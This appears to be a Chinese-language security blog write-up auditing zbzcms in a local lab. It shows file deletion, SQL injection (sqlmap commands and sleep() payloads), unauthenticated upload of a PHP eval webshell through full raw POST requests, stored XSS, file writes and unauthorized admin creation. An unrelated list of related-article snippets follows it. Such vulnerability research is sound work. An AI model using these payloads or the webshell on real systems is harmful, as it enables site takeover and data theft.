zbzcms审计

自己的一个简单记录,可能写的有点混乱,欢迎师傅们指出。

环境搭建

http://127.0.0.1/zbzcms/cms/cms/install/index.php

直接可以自动安装好

正常前台界面

开始

初次学习,就跟着师傅的文章一步步来,正常第一步就seay扫一遍

1、任意文件删除

$run传入,并没有做删除的校验判断

右键全文跟踪

跟到

get传入,up.php 的路径就是:/cms/cms/include/up.php?run=del

get请求一下路径:

还是很简单的一个逻辑,post传入url路径,因为没做任何校验,传入url对应文件即可删除

在绝对路径下手动建一个1.txt

post请求就是url=1.txt

发送请求后返回1,文件已经被删除了

其他目录就正常构造即可

一样可以删除

还有一个点也是,类似的逻辑,不多分析

2、sql注入

1

未过滤单引号,可能存在注入

在ajax.php的头部是引用了sql文件的

跟进看看,正常的增删改查

开头有一个处理函数

但是未添加过滤

然后在增加数据和修改数据部分存在这个处理函数

那么传入参数的路由也很清晰了

直接构造sql语句测试即可

sqlmap测试

python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=dj&id=1" -p id

2

看到这里好像审计还是在我可接受范围内的

下面就自己尝试去分析

/include/make.php存在注入,和上一个注入一样,art参数传入,未做引号处理

sleep()测试下

很明显了就

sqlmap跑一下

python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/cms/include/make.php?php=1&art=1" -p art

3

同样的可控参数传入,tid是可控的,保证laiyuan==0进入if语句

3)%20and%20sleep(1)%23

select id from art where (tid=$tid and fabushijian=1) order by id asc limit 1

右括号闭合一下语句

测试的时候发现有的tid是无法注入的,例如tid=1,这里需要数据库中存在这个tid的值才行

4

比较明显了

http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=ad&id=1%20and%20sleep(1)

3、文件上传

1、

zbzcms/cms/common/php/upload.php

扫描出的文件中还很多提示文件上传,一一来看

看到文件上传部分的代码

eles存在文件后缀校验,但是参数name==1时直接跳过了,那么就可以直接构造post包进行上传了,构造一个post上传

POST /zbzcms/cms/common/php/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-streamyzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--

http://127.0.0.1/zbzcms/cms/common/php/1.php

2、

/zbzcms/cms/cms/include/upload.php

和上面的文件一样

没什么好说的,直接构造路径上传

POST /zbzcms/cms/cms/include/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-streamyzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--

http://127.0.0.1/zbzcms/cms/cms/include/1.php

3、

http://127.0.0.1/zbzcms/cms/cms/include/up.php

构造就行了,代码很好懂

filename=0|1来控制文件命名,0就输出目标地址和原文件名,1根据时间输出文件名

问题一:有的站点上传的文件是根据时间生成,返回上传成功不返回文件名,如何构造?

4、

/cms/cms/zbzedit/php/zbz.php

同样不存在过滤,直接构造

成功上传

5、

http://127.0.0.1/zbzcms/cms/cms/admin/run_ajax.php

后台洞

同样的,没有任何过滤


这里是后台洞,显然没有登陆验证,后续会提到

4、存储型xss

无过滤输出到页面且存储进了数据库,直接构造

后台访问下就执行了

5、任意文件写入

全局搜索:file_put_contents

判断的run参数 然后获取post传参的值,再判断魔术引号开关是否开启,如果开启 在用stripslashes() 函数把反斜杠删去。

跟着师傅的文章一步步看,才发现刚刚的文件上传还有这个文件写入,都是后台文件,但是没有验证,

翻到上面的登陆处

验证函数是if($run==‘paiming_du’) ,确实,和没有一样,run的值都构造成别的了,不就直接跳过验证了

构造就可以写入文件了

上面好像还有个文件上传


这个前文也提到过了,不多分析,单独审一个文件可能会发现很多洞的

还有个文件,一样的上传

这里不多赘述,和上文中的一样的逻辑

7、管理员添加

看到判断登陆验证的下面,有个表的增删改查

这里可以直接自己指定表,可以直接未授权添加管理员账号或者修改了,那么问题来了,表名和表中的列名不知道啊,

看登陆验证处

admin表,guanliyuan、mima列

直接添加后可以添加到数据库中

但是好像少了表中的列参数无法登陆

再看到if判断

如果管理员数量大于0,还有id列和dengji列,一并在post数据中添加上,但是还不行

第二处管理员添加:

继续翻翻代码

emmm,一目了然了,这里应该是真正的添加管理员的功能处吗,还有个chuangjianshijian列,虽然在数据库李已经看到了,但还是从代码的角度来看

后续发现只需要等级处不为空即可,然后传入的密码是md5(md5($pass)): 加密值才能登陆成功

其他的删除和修改逻辑和添加是一样的不继续分析

还有一种利用session去登陆,在师傅文章中有提到 参考:https://forum.butian.net/share/1215

结束

差不多就这些,后续有发现继续补充

zbzcms代码审计相关推荐

  1. php发卡_发卡网代码审计

    前言 好胸弟柠枫昨天dd了我一下,这不,叫我一起审计发卡的cms 君无戏言,最近也在整二进制,当然要跟我的好胸弟一起组队py一下,不知道我都多久没审了,吐 咱语文也不是很好,各位看官就将就着看看就好, ...

  2. xss跳转代码_从某cms的xss漏洞来学习代码审计

    原创: xiaoyuer 合天智汇 各位大佬好,小弟的文章主要是通过针对具体的cms(内容管理系统)对一些基本的web漏洞进行挖掘和代码审计,这样学习起来能够理解的更加深刻.如有写的不对的地方请轻拍. ...

  3. sql 找到上一次_记一次对XXCMS的代码审计

    前言 之前一直在做PHP.JAVA的代码审计,从来没接触过ASP.NET编写的系统,前段时间在挖漏洞的过程中遇到了一个CMS是用.NET编写的,正好拿来练练手,本篇文章是我第一次写有关ASP.NET的 ...

  4. php代码审计工具_【学习笔记】PHP代码审计入门:代码审计实例2

    第  35  课    代码审计实例之任意文件上传  课程入口(付费) 个人背景 李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中. ...

  5. 代码审计-四叶草杯线下awd比赛源码web2

    今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码. awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有. 建议先黑盒去尝试,例 ...

  6. 【代码审计】使用SonarQube进行代码质量分析管理

    2019独角兽企业重金招聘Python工程师标准>>> 在之前的开发中,代码的工作量化和质量化都是一个问题,随着近几年互联网行业的快速发展,代码已经可以来工作量化和质量化,今天我们来 ...

  7. 一次代码审计实战案例【思路流程】

    前言: 利用这个 CMS 看看能不能挖到漏洞,运气还是不错的挖到了两个,分别是 SSRF 与文件覆盖 GETSHELL,下面给大家讲解一下这次审计的思路过程.该 CMS 版本是 4.2.以下漏洞均被 ...

  8. 【网络安全】JAVA代码审计—— XXE外部实体注入

    一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...

  9. 【网络安全】xhCMS代码审计思路

    前言 最近想提升一下自己的代审能力,虽然之前复现分析了挺多漏洞的,TP,Laravel,Typcho,yii,但一直感觉对代码审计能力提升用处不太大,很多时候链子和利用点都非常简单,可是如何发现的这确 ...

最新文章

  1. Docker 安装MySQL以及外部访问
  2. CDN简介及linux环境下搭建
  3. NSLocalizedString不起作用
  4. ibatise 没有大于等于吗_农村房屋没有证等于违法建筑吗?下面三个时间点记住,小心被忽悠...
  5. 文件的删除和文件信息的读取
  6. python opencv 直方图均衡_详解python OpenCV学习笔记之直方图均衡化
  7. mysql用any查询_mysql 5.6有ANY_VALUE功能吗?
  8. c语言字符型运算符,C语言试题:数据类型、运算符与表达式
  9. Android学习系列(11)--App列表之拖拽ListView(下)
  10. js日期减一个月_正正正国庆!折上再减!三亚/香格里拉/稻城/拈花湾,最低499元…...
  11. Noisy machines: understanding noisy NNs and enhancing robustness to analog hardware errors
  12. 实在没忍住还是对你出手了-Tom猫源码结构
  13. 【工具】Hosts文件详解
  14. 二叉树、满二叉树、完全二叉树、平衡二叉树、二叉排序树、线索二叉树
  15. 【WSL2】ubuntu22.04 安装docker
  16. (一) Marlin-2.1.x 源码解析:G-Code指令的接收、解析与执行
  17. vim保存分享录制宏
  18. Latex 表格 tabularx自动换行
  19. “天才少年”!华中科技大学这一研究生,刚毕业年薪201万!
  20. Windows 服务程序(一)

热门文章

  1. Fiddler的介绍和使用
  2. 并行计算之MPI(五)
  3. Android开发imageview实现上面两个圆角下面两个直角的效果
  4. 中兴智能交通公司总裁谈物联网“狼来了”
  5. QMT量化交易软件使用攻略(一)-相关重要概念
  6. mock数据使用步骤
  7. 图像查看软软件XnView
  8. css基础--验证设计
  9. 品牌投资与形象全面升级 | 快来认识全新的 Go 旅城通票
  10. JavaScript延时动画